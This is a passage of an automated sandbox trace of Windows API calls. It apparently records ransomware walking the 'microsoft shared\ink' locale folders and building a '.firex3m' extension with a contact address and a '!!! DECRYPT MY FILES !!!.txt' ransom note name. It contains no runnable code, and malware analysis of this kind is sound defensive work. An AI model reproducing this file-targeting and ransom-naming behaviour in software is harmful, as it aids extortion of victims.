hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.345] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 1 [0110.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui") returned 0x48 [0110.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.345] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.345] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.345] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.345] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.345] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0110.345] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0110.346] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\") returned 1 [0110.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\") returned 0x39 [0110.346] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.346] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0110.346] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.346] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.346] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 1 [0110.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui") returned 0x48 [0110.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.346] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.346] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.347] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.347] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0110.347] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0110.347] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\") returned 1 [0110.347] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\") returned 0x39 [0110.347] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.347] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0110.348] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.348] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.348] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 1 [0110.348] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui") returned 0x48 [0110.348] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.349] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.349] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.349] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.349] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.349] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0110.349] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0110.349] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\") returned 1 [0110.349] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\") returned 0x39 [0110.349] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.349] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0110.350] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.350] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.350] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 1 [0110.350] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui") returned 0x48 [0110.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.350] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.350] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.350] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.350] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0110.351] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0110.351] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\") returned 1 [0110.351] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\") returned 0x39 [0110.351] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.351] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5480 [0110.351] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.351] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0110.351] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 1 [0110.351] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui") returned 0x48 [0110.352] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0110.352] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0110.352] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0110.352] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0110.352] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.352] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0110.352] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0110.352] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\") returned 1 [0110.352] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\") returned 0x39 [0110.352] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0110.352] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0110.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0110.354] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.354] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0110.354] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", len=0x4a | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 1 [0110.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi") returned 0x4a [0110.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, 